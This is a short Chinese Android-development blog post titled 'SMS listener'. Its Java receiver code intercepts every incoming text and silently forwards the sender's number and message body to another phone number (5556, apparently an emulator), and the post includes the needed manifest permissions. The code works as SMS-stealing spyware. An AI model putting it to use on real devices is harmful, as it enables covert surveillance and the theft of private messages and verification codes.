短信监听器

协议数据单元(Protocol Data Unit)pdu 
package com.example.sms;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class SmsReceiver extends BroadcastReceiver{
   @Override
   public void onReceive(Context context, Intent intent) {
      if("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())){
         Bundle bundle = intent.getExtras();
         Object[] obj = (Object[]) bundle.get("pdus");
         for (Object o : obj) {
            SmsMessage sms = SmsMessage.createFromPdu((byte[])o);
            String num = sms.getOriginatingAddress();
            String body = sms.getMessageBody();
            SmsManager manager = SmsManager.getDefault();
            manager.sendTextMessage("5556", null, num+"  "+body, null, null);
         }
      }
   }
}

清单文件:

    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    //android 4.2 后废除了此action
    <receiver android:name="com.example.sms.SmsReceiver" >
       <intent-filter>
            <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            <action android:name="android.provider.Telephony.SMS_SEND" />
        </intent-filter>
  </receiver>

 

posted on 2017-02-19 16:10  LoaderMan  阅读(399)  评论(0编辑  收藏  举报

导航